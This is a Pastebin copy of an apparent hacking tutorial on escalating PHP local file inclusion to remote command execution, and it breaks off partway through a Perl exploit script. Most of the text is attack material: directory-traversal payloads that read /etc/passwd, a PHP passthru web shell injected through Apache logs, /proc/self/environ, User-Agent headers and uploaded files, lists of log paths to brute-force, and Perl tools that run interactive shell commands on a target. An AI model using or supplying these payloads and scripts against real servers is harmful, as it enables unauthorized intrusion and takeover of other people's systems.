Kyfx

LFI to RCE Exploit with Perl Script

Jul 13th, 2015
861
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.40 KB | None | 0 0
  1. ##########
  2. Contents
  3. ##########
  4.  
  5. [0x00] - Introduction
  6.  
  7. [0x01] - File Inclusion (RFI/LFI)
  8.  
  9. [0x01a] - How the attack works for Remote File Inclusion [RFI]
  10. [0x01b] - How the attack works for Local File Inclusion [LFI]
  11. [0x01c] - Vulnerable PHP Function for File Inclusion
  12.  
  13. [0x02] - Local File Inclusion To Remote Command Execution [LFI <> RCE]
  14.  
  15. [0x02a] - LFI <> RCE via Apache Log Injection
  16. [0x02b] - LFI <> RCE via Process Environ Injection
  17. [0x02c] - LFI <> RCE via Other Files
  18.  
  19. [0x03] - Fundamental of Perl Library for Exploit Website
  20.  
  21. [0x03a] - Introduction to Socket
  22. [0x03b] - Introduction to Library for WWW in Perl (LWP)
  23. [0x03c] - Condition to use Socket or LWP
  24.  
  25. [0x04] - Writing LFI <> RCE Exploit with Perl Script
  26.  
  27. [0x04a] - Perl Exploit to Injecting code into Target
  28. [0x04b] - Perl Exploit to Executing injected code on Target
  29. [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]
  30.  
  31. [0x05] - How to protect File Inclusion
  32.  
  33. [0x06] - References
  34.  
  35. [0x07] - Greetz To
  36.  
  37.  
  38. #######################
  39. [0x00] - Introduction
  40. #######################
  41.  
  42. Welcome reader, this paper is a short attempt at documenting a practical technique
  43. we have been working on. This papers will guide about technique that allows the attackers
  44. (us) gaining access into the process of exploiting a website via File Inclusion (RFI/LFI)
  45. and enlight the way to create own exploit script with perl
  46.  
  47. This paper is divided into 7 sections but only from section 0x01 to 0x05
  48. are about technical information.
  49.  
  50. Section 0x01, we talk about general concept of attacking via File Inclusion.
  51. Section 0x02, we give a detail of how to execute arbitrary command via Local File Inclusion
  52. in each approach. Section 0x03, we offer rudimentary commands to create HTTP transaction
  53. with perl and some examples of how to use them. Section 0x04, we assemble knowleadge from
  54. Section 0x01 to 0x03 in order to create own exploit to execute command on target system
  55. via Local File Inclusion. The last, section 0x05, we suggest some methods to protect
  56. your system from File Inclusion Attacking.
  57.  
  58.  
  59. ###################################
  60. [0x01] - File Inclusion (RFI/LFI)
  61. ###################################
  62.  
  63. In a File Inclusion, Attackers run their own code on a vulnerable website.
  64. The attack involves importing code into a program by taking advantage of the unenforced
  65. and unchecked assumptions the program makes about its inputs. If the attacker can include
  66. their own malicious code on a web page, it is possible to "convince" a PHP script to include
  67. a remote file instead of a presumably trusted file from the local file system.
  68.  
  69.  
  70. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  71. [0x01a] - How the attack works for Remote File Inclusion [RFI]
  72. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  73.  
  74. Remote File Inclusion, known as RFI, is the technique to attack website by
  75. injecting php script into target website. It's including "External" files (PHP Shell)
  76. in a victim website.If attacker exploits successfully, he can execute arbitary command
  77. on victim web server.
  78.  
  79. For instance, a piece of vulnerable PHP code would look like this:
  80.  
  81. [code]----------------------------------------------------------------------------------
  82. <?php
  83. $file =$_GET['page']; //The page we wish to display
  84. include($file .".php"); <-- Vulnerable !!
  85. ?>
  86. [End code]---------------------------------------------------------------------------------
  87.  
  88. From Code, It does not perform any checks on the content of the $page variable so it is easy
  89. to putting our file (PHP Shell) into webpage like this
  90.  
  91. [URL] http://www.hackme.com/index.php?page=http://www.cwh.org/c99.php? and then
  92.  
  93. [code]---------------------------------------------------------------------------------
  94. <?php
  95. $file ="http://www.cwh.org/c99.php?"; //$_GET['page'];
  96. include($file .".php"); //include http://www.cwh.org/C99.php?.php
  97. ?>
  98. [End code]---------------------------------------------------------------------------------
  99.  
  100. ** We put "?" at the end of the URL, This makes the script fetch the intended file,
  101. with the appended string as a parameter (which is ignored by the attackers script) **
  102.  
  103.  
  104. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  105. [0x01b] - How the attack works for Local File Inclusion [LFI]
  106. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  107.  
  108. LFI is a Local File Inclusion. It originates from including "internal" files
  109. in a victim website. In many situations, It is necessary to include content from
  110. local file. But if you use it carelessly, it may lead to LFI vulnerabilty. This method
  111. is often used in Linux to get "/etc/passwd" and sometimes "/etc/shadow".
  112.  
  113. For instance, a piece of vulnerable PHP code would look like this:
  114.  
  115. [URL] http://www.hackme.com/index.php?template=cwh
  116.  
  117. [code #1]-------------------------------------------------------------------------------
  118. <?php
  119. $template =$_GET['template'];
  120. include("/".$template .".php"); <-- Vulnerable !!
  121. ?>
  122. [End code]------------------------------------------------------------------------------
  123.  
  124. From Code, Attacker can assign template to be "../../../../etc/passwd%00".
  125. It causes the attacker to read a content from /etc/passwd.
  126.  
  127. [URL] http://www.hackme.com/index.php?template=../../../../etc/passwd%00
  128.  
  129. [code #1]-------------------------------------------------------------------------------
  130. <?php
  131. $template =$_GET['template'];
  132. include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI
  133. ?>
  134. [End code]------------------------------------------------------------------------------
  135.  
  136. ** Notice %00 (Null CHAR) will ignore everything that comes after %00 (.php suffix) **
  137. ** Notice ../../../ will traversal path to root and goto /etc/passwd **
  138.  
  139. [code #2]-------------------------------------------------------------------------------
  140. if(grado($HTTP_COOKIE_VARS['cwh_user'],$HTTP_COOKIE_VARS['cwh_pass']) == "admin")
  141. {
  142. topmenu();
  143. include("manage/admin/main.php");
  144. foot();
  145. } else
  146. {
  147. topmenu();
  148. include("manage/".$HTTP_COOKIE_VARS['cwh_user']."/main.php");
  149. foot();
  150. }
  151. [End code]------------------------------------------------------------------------------
  152.  
  153. From Code, Attacker can exploit via JaSiLDBG
  154. (Javascript Inline Debugger - www.milw0rm.com/papers/147)
  155.  
  156. PoC Exploit: javascript:document.cookie = "cwh_user=../../../../etc/passwd%00; path=/";
  157.  
  158.  
  159. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  160. [0x01c] - Vulnerable PHP Function for File Inclusion
  161. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  162.  
  163. File Inclusion (RFI/LFI) mostly occurs from some functions that developers
  164. do not properly check user supplied data.
  165.  
  166. Example PHP function:
  167.  
  168. include()
  169. include_once()
  170. require()
  171. require_once()
  172. fopen()
  173.  
  174.  
  175. #######################################################################
  176. [0x02] - Local File Inclusion To Remote Command Execution [LFI<>RCE]
  177. #######################################################################
  178.  
  179. In this section, we mention about the concept of using LFI in another way besides reading files.
  180. Normally, We use LFI to read following files:
  181.  
  182. /etc/passwd
  183. /etc/shadow
  184. /etc/group
  185. /etc/security/passwd
  186. /etc/security/user
  187. /etc/security/environ
  188. /etc/security/limits
  189. or
  190. Dababase Configuration (config.inc.php)
  191.  
  192. But we can apply LFI Vulnerabilities to execute command by injecting malicious code
  193. into Apache log, Process Environment and Other files. This method is called "Remote Code Execution (RCE)"
  194.  
  195.  
  196. +++++++++++++++++++++++++++++++++++++
  197. [0x02a] - LFI <> RCE via Apache Log
  198. +++++++++++++++++++++++++++++++++++++
  199.  
  200. The Malicious HTTP Request must existed to Apache logs, By their intrinsic nature logfiles contain
  201. data that is driven by users look like this:
  202.  
  203. [HTTP Request via Telnet]---------------------------------------------------------------
  204. >telnet www.hackme.com 80
  205. GET /index.php?p=new.php HTTP/1.1 <-- Normally GET Request when user visit websites
  206.  
  207. HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……
  208. ………
  209. [End Telnet]----------------------------------------------------------------------------
  210.  
  211. [Logfiles - access.log]-----------------------------------------------------------------
  212. ......
  213. 58.18.29.152 - - [05/Dec/2008:12:13:22 +0700]
  214. "GET /index.php?p=new.php HTTP/1.1" 200 1958
  215. ......
  216. [End log]-------------------------------------------------------------------------------
  217.  
  218. If we want to run arbitrary command on target system, we must inject PHP code via
  219. HTTP request like <?passthru($_GET[cmd])?> After that logfiles will contain Malicious Code
  220.  
  221. [Malicious HTTP Request via Telnet]-----------------------------------------------------
  222. >telnet www.hackme.com 80
  223. GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1 <-- Malicious HTTP Request via Telnet
  224.  
  225. ………
  226. ………
  227. [End telnet]----------------------------------------------------------------------------
  228.  
  229. [Logfiles - access.log]-----------------------------------------------------------------
  230. ......
  231. 58.18.29.152 - - [05/Dec/2008:12:14:22 +0700]
  232. "GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958 <-- Inject Code into Logfiles
  233. ......
  234. [End log]-------------------------------------------------------------------------------
  235.  
  236. Now We can use LFI Vuln to run arbitrary command by finding out where the logs are stored
  237. Go to LFI Vuln path:
  238.  
  239. [URL] www.hackme.com/index.php?p=../../apache/logs/access.log <-- You must find Log location
  240. (You can see ../../ that traversal to apache access log)
  241.  
  242. In webpage, you will see detailed like this:
  243.  
  244. Warning: passthru() [function.passthru]: Cannot execute a blank command in
  245. /opt/lampp/apache/logs/access.log on line 457
  246.  
  247. That's Great !! We have alredy injected code to logfiles, Now run arbitrary command
  248. with "cmd" variable like this:
  249.  
  250. [LFI <> RCE URL] www.hackme.com/index.php?p=../../apache/logs/access.log%00&cmd=ls -la
  251.  
  252. ** Notice **
  253.  
  254. If you send Malicious HTTP Request from browser
  255. "www.hackme.com/cwh/<? passthru($_GET[cmd]) ?>", the logfile will show in URL encode format
  256.  
  257. [Logfiles - access.log]-----------------------------------------------------------------
  258. ......
  259. 58.18.29.152 - - [05/Dec/2008:12:15:14 +0700]
  260. "GET /cwh/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 200 1958 <-- Not work for Inject
  261. ......
  262. [End log]-------------------------------------------------------------------------------
  263.  
  264. It won't work for RCE because browser will automatically encode special characters
  265. (URL encode) after that it writes encoded request into logfiles (access.log).
  266. So we must Inject malicious code via Telnet, Netcat or Perl script with
  267. socket/useragent/referer that we will guide in next chapter.
  268.  
  269. == How about error.log ==
  270.  
  271. Error log is written when the requested file does not exist. Thus we can inject
  272. malicious code by requesting to non-existed file or inject via "Referer".
  273.  
  274. [Malicious HTTP Request via Telnet]-----------------------------------------------------
  275. >telnet www.hackme.com 80
  276. GET /<? passthru($_GET[cmd]) ?> <-- Get non-existed file with PHP Code
  277.  
  278. ………
  279. ………
  280. [End telnet]----------------------------------------------------------------------------
  281.  
  282. [Logfiles - error.log]------------------------------------------------------------------
  283. ......
  284. [Sat Dec 06 15:12:56 2008] [error] [client 127.0.0.1] (20024)The given path
  285. misformatted or contained invalid characters: Cannot map GET /<?passthru($_GET[cmd])?> to file
  286. ......
  287. [End log]-------------------------------------------------------------------------------
  288.  
  289. Bingo !! We can injected code thru error.log, Next example show you about inject code
  290. into "referer".
  291.  
  292. [Logfiles - error.log]------------------------------------------------------------------
  293. ......
  294. [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
  295. File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
  296. referer: http://www.hackme.com/index.php?p=main.php <-- Normally HTTP Request
  297. ......
  298. [End log]-------------------------------------------------------------------------------
  299.  
  300. From log, Attacker can inject malicious code into "referer" then error.log will be written
  301. evil code. However injecting to access.log is easier than error.log
  302.  
  303. [Logfiles - error.log]------------------------------------------------------------------
  304. ......
  305. [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
  306. File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
  307. referer: <? passthru($_GET[cmd]) ?> <-- Inject Malicious Code in Referer
  308. ......
  309. [End log]-------------------------------------------------------------------------------
  310.  
  311. Default Log locations list that used with LFI:
  312.  
  313. ../apache/logs/error.log
  314. ../apache/logs/access.log
  315. ../../apache/logs/error.log
  316. ../../apache/logs/access.log
  317. ../../../apache/logs/error.log
  318. ../../../apache/logs/access.log
  319. ../../../../../../../etc/httpd/logs/acces_log
  320. ../../../../../../../etc/httpd/logs/acces.log
  321. ../../../../../../../etc/httpd/logs/error_log
  322. ../../../../../../../etc/httpd/logs/error.log
  323. ../../../../../../../var/www/logs/access_log
  324. ../../../../../../../var/www/logs/access.log
  325. ../../../../../../../usr/local/apache/logs/access_ log
  326. ../../../../../../../usr/local/apache/logs/access. log
  327. ../../../../../../../var/log/apache/access_log
  328. ../../../../../../../var/log/apache2/access_log
  329. ../../../../../../../var/log/apache/access.log
  330. ../../../../../../../var/log/apache2/access.log
  331. ../../../../../../../var/log/access_log
  332. ../../../../../../../var/log/access.log
  333. ../../../../../../../var/www/logs/error_log
  334. ../../../../../../../var/www/logs/error.log
  335. ../../../../../../../usr/local/apache/logs/error_l og
  336. ../../../../../../../usr/local/apache/logs/error.l og
  337. ../../../../../../../var/log/apache/error_log
  338. ../../../../../../../var/log/apache2/error_log
  339. ../../../../../../../var/log/apache/error.log
  340. ../../../../../../../var/log/apache2/error.log
  341. ../../../../../../../var/log/error_log
  342. ../../../../../../../var/log/error.log
  343.  
  344.  
  345. ++++++++++++++++++++++++++++++++++++++++++
  346. [0x02b] - LFI <> RCE via Process Environ
  347. ++++++++++++++++++++++++++++++++++++++++++
  348.  
  349. When we request to PHP page, new process will be created. In *nix system, Each process
  350. has its own /proc entry. /proc/self/ is a static path and symbolic link from lastest process
  351. used that contain useful information. If we inject malicious code into /proc/self/environ, we
  352. can run arbitrary command from target via LFI
  353.  
  354. [The Question] How to inject code into /proc/self/environ ?
  355. [The Answer] We can inject thru User-Agent.
  356.  
  357. In Firefox Browser, we use "User Agent Switcher Add-ons" that can specify your user agent
  358. manually Or use perl script to specify user agent with malicious code (See Next chapter).
  359.  
  360. For instance, a piece of /proc/self/environ would look like this:
  361.  
  362. [code]----------------------------------------------------------------------------------
  363. PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
  364. ...
  365. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
  366. Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300 <-- It contains User-agent
  367. ...
  368. [End code]------------------------------------------------------------------------------
  369.  
  370. When we injected <?passthru($_GET[cmd])?> into our User Agent,
  371. /proc/self/environ will contain Malicious code like this:
  372.  
  373. [code]----------------------------------------------------------------------------------
  374. PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
  375. ...
  376. <?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300 <-- Injected Malicious code
  377. ...
  378. [End code]------------------------------------------------------------------------------
  379.  
  380. Then Go to www.hackme.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la
  381.  
  382. ** Notice **
  383.  
  384. We don't recommend to use this method because It's immediately to inject code and run
  385. command before self link change to other process.
  386.  
  387.  
  388. ++++++++++++++++++++++++++++++++++++++
  389. [0x02c] - LFI <> RCE via Other Files
  390. ++++++++++++++++++++++++++++++++++++++
  391.  
  392. We saw Vulnerabilities in old version of FCKEditor (www.milw0rm.com/exploits/1484)
  393. that allow many file extension to be uploaded, Some versions we can upload an extension not specified in FCKEditor
  394. Config[DeniedExtensions][File] array such as .php3,.aa,.bb,.cwh,.blahblahblah. If the website have vulnerability
  395. in Local File Inclusion, we can inject malicious code (<?passthru($_GET[cmd])?>) into uploaded file and use LFI
  396. traversal with uploaded file links (/userfiles/upload/shell.cwh) to run arbitrary command.
  397.  
  398. For example:
  399.  
  400. [LFI Vulnerable] www.hackme.com/index.php?p=
  401. [Uploaded File] www.hackme.com/userfiles/upload/shell.cwh
  402. [LFI <> RCE] www.hackme.com/index.php?p=./userfiles/upload/shell.cwh%00&cmd=ls -la
  403.  
  404. Many website in the world allow to upload image file (jpg/gif/bmp/...) almost websites only check file extension
  405. (.jpg/.gif/...) so it's vuln !!. If Attacker inject malicious code into image file (Maybe use edjpgcom to insert PHP code
  406. to jpeg file or change extension to image file manually) and upload to target server, Use LFI technique traversal to
  407. uploaded file and execution arbitrary command.
  408.  
  409. ** We will guide you about specify file extension with Perl in Next chapter **
  410.  
  411.  
  412. ##########################################################
  413. [0x03] - Fundamental of Perl Library for Exploit Website
  414. ##########################################################
  415.  
  416. In this section, we will talk about fundamental of neccessary perl commands used to send HTTP packet to server.
  417. They play a significant role in writing exploit. We recommend you to read this section before step to next section.
  418. But if you are familiar with Socket and LWP, you can skip this section. All commands mentioned in this section will be
  419. used in next section.
  420.  
  421. ++++++++++++++++++++++++++++++++++
  422. [0x03a] - Introduction to Socket
  423. ++++++++++++++++++++++++++++++++++
  424.  
  425. Socket is method to create a connection between hosts. we use it to create a connection between our pc
  426. and a remote server in order to send manipulated request to a server. The informations that we have to provide for
  427. a socket are protocol, server address, server port and data. In perl, we use IO::Socket library to create a socket.
  428.  
  429. Syntax for create a socket is following.
  430.  
  431. [code]----------------------------------------------------------------------------------
  432. $socket = IO::Socket::INET->new (PROTOCAL, PEERADDR, PEERPORT);
  433. [End code]------------------------------------------------------------------------------
  434.  
  435. For Example: If we want to create socket to port 80 on server ip 192.168.0.111 with tcp protocol,
  436. we can use following command:
  437.  
  438. [code]----------------------------------------------------------------------------------
  439. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  440. [End code]------------------------------------------------------------------------------
  441.  
  442. when we want to send http request through this socket, we can use this syntax.
  443.  
  444. [code]----------------------------------------------------------------------------------
  445. print $socket $data;
  446. [End code]------------------------------------------------------------------------------
  447.  
  448. For Example:
  449.  
  450. [code]----------------------------------------------------------------------------------
  451. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  452. print $socket "GET /index.php HTTP/1.1\r\n";
  453. print $socket "Host: 192.168.0.111\r\n";
  454. print $socket "Connection: close\r\n\r\n";
  455. [End code]------------------------------------------------------------------------------
  456.  
  457. After finish using socket, we have to close the socket by this syntax.
  458.  
  459. [code]----------------------------------------------------------------------------------
  460. close ($socket);
  461. [End code]------------------------------------------------------------------------------
  462.  
  463. Finally, we can group the entire code together.
  464.  
  465. [code]----------------------------------------------------------------------------------
  466. use IO::Socket;
  467. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  468. print $socket "GET /index.php HTTP/1.1\r\n";
  469. print $socket "Host: 192.168.0.111\r\n";
  470. print $socket "Connection: close\r\n\r\n";
  471. close ($socket);
  472. [End code]------------------------------------------------------------------------------
  473.  
  474.  
  475. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  476. [0x03b] - Introduction to Library for WWW in Perl (LWP)
  477. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  478.  
  479. LWP is a set of perl module designed to handle sending of http request. Usually we use this library
  480. simultaneously with HTTP::Request and HTTP::Response.
  481.  
  482. If we speak clearly, we can classify a role of these library as following:
  483.  
  484. - HTTP::Request => used to manipulate http request.
  485. - LWP::UserAgent => used to sent http request.
  486. - HTTP::Response => used to handle http response.
  487.  
  488. If we want to use these libraries to obtain content from index.php file on 192.168.0.111,
  489. we can following these steps.
  490.  
  491. 1: Create http request header using HTTP::Request
  492.  
  493. [code]----------------------------------------------------------------------------------
  494. $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
  495. $request->header (User_Agent => "Mozilla 2.0");
  496. [End code]------------------------------------------------------------------------------
  497.  
  498. 2: Send the http request to server by LWP::UserAgent and obtain http response by HTTP::Response
  499.  
  500. [code]----------------------------------------------------------------------------------
  501. $ua = LWP::UserAgent->new();
  502. $response = $ua->request ($request); ## Return value of request function is HTTP::Response object.
  503. ## So now we have $response holding HTTP::Response object
  504. [End code]------------------------------------------------------------------------------
  505.  
  506. 3: Get http response content from HTTP::Response object, Ex:
  507.  
  508. [code]----------------------------------------------------------------------------------
  509. print $response->code; ## response code ex. 200, 404, 503
  510. print $response->header->as_string; ## response header
  511. print $response->content; ## html code of http response
  512. [End code]------------------------------------------------------------------------------
  513.  
  514. If we group all code together to show header and content of http transaction, we can do following:
  515.  
  516. [code]----------------------------------------------------------------------------------
  517. use LWP;
  518. use HTTP::Request;
  519.  
  520. $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
  521. $request->header (User_Agent => "Mozilla 2.0");
  522.  
  523. $ua = LWP::UserAgent->new();
  524. $response = $ua->request ($request);
  525.  
  526. print $response->header->as_string; ## $response->header is an object of HTTP::Header. It cannot to print as string,
  527. ## so we use as_string method to solve this problem
  528. print "\n";
  529. print $response->content;
  530. [End code]------------------------------------------------------------------------------
  531.  
  532.  
  533. ++++++++++++++++++++++++++++++++++++++++++
  534. [0x03c] - Condition to use Socket or LWP
  535. ++++++++++++++++++++++++++++++++++++++++++
  536.  
  537. As you can see above, Socket and LWP can send http request to server.
  538. But we have only a few conditions to dicide to use Socket or LWP.
  539.  
  540. 1: We will use Socket when,
  541.  
  542. - We do not want http response. (Only inject http request packet to server)
  543. - We do not want http request to be encoded. (If we send get method with LWP, the HTTP request will be URL Encoded)
  544.  
  545. 2: We will use LWP when,
  546.  
  547. - We want http response. (It will be stored in HTTP::Response object)
  548. - Other condition ;D (We think it is more convenient to us than Socket)
  549.  
  550.  
  551. ######################################################
  552. [0x04] - Writing LFI <> RCE Exploit with Perl Script
  553. ######################################################
  554.  
  555. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  556. [0x04a] - Perl Exploit to Injecting code into Target
  557. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  558.  
  559. We can inject our php code to server in many ways as I mention above. The rest that we have to work
  560. with is creating perl script to do our task.
  561. To create perl script to send malicious request, we will use socket to help this part.
  562. Before writing perl script, we have to know which file we will inject code into and how to do that.
  563.  
  564. [+] Inject via logfile
  565.  
  566. Logfiles are written when there is a request to a file on server. Thus we can manipulate
  567. http request in order to inject malicious code.
  568.  
  569. Example:
  570.  
  571. [code]----------------------------------------------------------------------------------
  572. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  573. print $socket "GET /cwhunderground <? passthru(\$_GET[cmd]); ?> HTTP/1.1\r\n";
  574. print $socket "host: 192.168.0.111\r\n";
  575. print $socket "Connection: close\r\n\r\n";
  576. close ($socket);
  577. [End code]------------------------------------------------------------------------------
  578.  
  579.  
  580. [+] Inject via Other files
  581.  
  582. In some websites, they allow us to upload files. If we know the path to uploaded file,
  583. we can use LFI vulnerability to execute command in our uploaded file.
  584.  
  585. Example:
  586.  
  587. [code]----------------------------------------------------------------------------------
  588. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  589. print $socket "POST /uploadsave.php HTTP/1.1\r\n";
  590. print $socket "host: 192.168.0.111\r\n";
  591. print $socket "Content-Type: multipart/form-data; boundary=CwHCwH\r\n";
  592. print $socket "--CwHCwH\r\n";
  593. print $socket "Content-Disposition: form-data; name=\"shell.cwh\"; filename=\"shell.cwh\"\r\n";
  594. print $socket "Content-Type: application/zip\r\n\r\n";
  595. print $socket "<? passthru(\$_GET[cmd]); ?>\n";
  596. print $socket "--CwHCwH\r\n";
  597. close ($socket);
  598. [End code]------------------------------------------------------------------------------
  599.  
  600.  
  601. [+] Inject via process environment
  602.  
  603. In process environment file, there is user agent of using browser as a part of content.
  604. Therefore we can inject malicious code by spoofing user agent.
  605.  
  606. Example:
  607.  
  608. [code]----------------------------------------------------------------------------------
  609. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
  610. print $socket "GET /index.php HTTP/1.1\r\n";
  611. print $socket "host: 192.168.0.111\r\n";
  612. print $socket "User-Agent: <? passthru(\$_GET[cmd]); ?>\r\n";
  613. print $socket "Connection: close\r\n\r\n";
  614. close ($socket);
  615. [End code]------------------------------------------------------------------------------
  616.  
  617.  
  618. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  619. [0x04b] - Perl Exploit to Executing injected code on Target
  620. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  621.  
  622. As previous section, we can inject malicious code into some files on server by example code.
  623. In this section, we will show how to create script to execute our code on server. So, we have to bring
  624. the concept from section 0x03b about LWP library.
  625. (We choose to use LWP because we need http response to show result from execution of our code)
  626.  
  627. [+] Execute code from logfile
  628.  
  629. [code]----------------------------------------------------------------------------------
  630. use LWP;
  631. use HTTP::Request;
  632.  
  633. $logfile = "../../../../var/log/httpd/access.log"; <-- We must specify Logfile locations
  634.  
  635. ## looping for execute command and exit program when command = exit ##
  636. print "cwh-shell# ";
  637. chomp( $cmd = <STDIN> );
  638. while($cmd !~ "exit")
  639. {
  640. $content = "";
  641. $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$logfile."%00&cmd=".$cmd);
  642. $ua = LWP::UserAgent->new();
  643. $response = $ua->request ($request);
  644. $content = $response->content;
  645. print $content."\n";
  646. print "cwh-shell# ";
  647. chomp( $cmd = <STDIN> );
  648. }
  649. [End code]------------------------------------------------------------------------------
  650.  
  651.  
  652. [+] Execute code from Other files
  653.  
  654. I assume that the uploaded file is ../../../path/to/uploaded/file/shell.cwh .
  655. We will get RCE script like this.
  656.  
  657. [code]----------------------------------------------------------------------------------
  658. use LWP;
  659. use HTTP::Request;
  660.  
  661. $uploadedfile = "../../../path/to/uploaded/file/shell.cwh";
  662.  
  663. ## looping for execute command and exit program when command = exit ###
  664. print "cwh-shell# ";
  665. chomp( $cmd = <STDIN> );
  666. while($cmd !~ "exit")
  667. {
  668. $content = "";
  669. $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$uploadedfile."%00&cmd=".$cmd);
  670. $ua = LWP::UserAgent->new();
  671. $response = $ua->request ($request);
  672. $content = $response->content;
  673. print $content."\n";
  674. print "cwh-shell# ";
  675. chomp( $cmd = <STDIN> );
  676. }
  677. [End code]------------------------------------------------------------------------------
  678.  
  679. [+] Execute code from process environment
  680.  
  681. The injected process environment file is /proc/self/environ.
  682. So, we have to traversal back to root path by using ../../
  683.  
  684. [code]----------------------------------------------------------------------------------
  685. use LWP;
  686. use HTTP::Request;
  687.  
  688. $procenviron = "../../../../../../proc/self/environ";
  689.  
  690. ## looping for execute command and exit program when command = exit ##
  691. print "cwh-shell# ";
  692. chomp( $cmd = <STDIN> );
  693. while($cmd !~ "exit")
  694. {
  695. $content = "";
  696. $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$procenviron."%00&cmd=".$cmd);
  697. $ua = LWP::UserAgent->new();
  698. $response = $ua->request ($request);
  699. $content = $response->content;
  700. print $content."\n";
  701. print "cwh-shell# ";
  702. chomp( $cmd = <STDIN> );
  703. }
  704. [End code]------------------------------------------------------------------------------
  705.  
  706.  
  707. Finally, as you can see from three codes above, the code to loop for execute command is the same.
  708. The difference is how to find a path of injected file.
  709.  
  710. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  711. [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]
  712. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  713.  
  714. In order to execute code from logfile, we have a problem that we do not know the exact path of logfile.
  715. So we have to find path by looping through the fesible paths that we have and see which file contain
  716. the word "cwhunderground" as we inject in previous example code.
  717.  
  718. Simple Code for LFI <> RCE Exploit:
  719.  
  720. [code]----------------------------------------------------------------------------------
  721. use LWP::UserAgent;
  722. use IO::Socket;
  723. use LWP::Simple;
  724.  
  725. $log="../";
  726. @apache=(
  727. "../../../../../var/log/httpd/access_log",
  728. "../apache/logs/access.log",
  729. "../../apache/logs/access.log",
  730. "../../../apache/logs/access.log",
  731. "../../../../apache/logs/access.log",
  732. "../../../../../apache/logs/access.log",
  733. "../logs/access.log",
  734. "../../logs/access.log",
  735. "../../../logs/access.log",
  736. "../../../../logs/access.log",
  737. "../../../../../logs/access.log",
  738. "../../../../../etc/httpd/logs/access_log",
  739. "../../../../../etc/httpd/logs/access.log",
  740. "../../.. /../../var/www/logs/access_log",
  741. "../../../../../var/www/logs/access.log",
  742. "../../../../../usr/local/apache/logs/access_log",
  743. "../../../../../usr/local/apache/logs/access.log",
  744. "../../../../../var/log/apache/access_log",
  745. "../../../../../var/log/apache/access.log",
  746. "../../../../../var/log/access_log",
  747. "../../../../../var/log/access_log"
  748. );
  749.  
  750. my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
  751.  
  752. print "\n==========================================\n";
  753. print " LFI to RCE Exploit \n";
  754. print " By CWH Underground \n";
  755. print "==========================================\n";
  756.  
  757. if (@ARGV < 2)
  758. {
  759. print "Usage: ./xpl.pl <Host> <Path>\n";
  760. print "Ex. ./xpl.pl www.hackme.com /ktp/index.php?page=\n";
  761. }
  762.  
  763. $host=$ARGV[0];
  764. $path=$ARGV[1];
  765.  
  766. if ( $host =~ /^http:/ ) {$host =~ s/http:\/\///g;}
  767.  
  768. print "\nTrying to Inject the Code...\n";
  769. $CODE="<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?>";
  770. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
  771. print $socket "GET /cwhunderground "."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#"." HTTP/1.1\r\n";
  772. print $socket "Host: ".$host."\r\n";
  773. print $socket "Connection: close\r\n\r\n";
  774. close($socket);
  775.  
  776. if ( $host !~ /^http:/ ) {$host = "http://" . $host;}
  777.  
  778. foreach $getlog(@apache)
  779. {
  780. chomp($getlog);
  781. $find= $host.$path.$getlog."%00";
  782. $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  783. $req = HTTP::Request->new(GET => $find);
  784. $res = $xpl->request($req);
  785. $info = $res->content;
  786. if($info =~ /cwhunderground/)
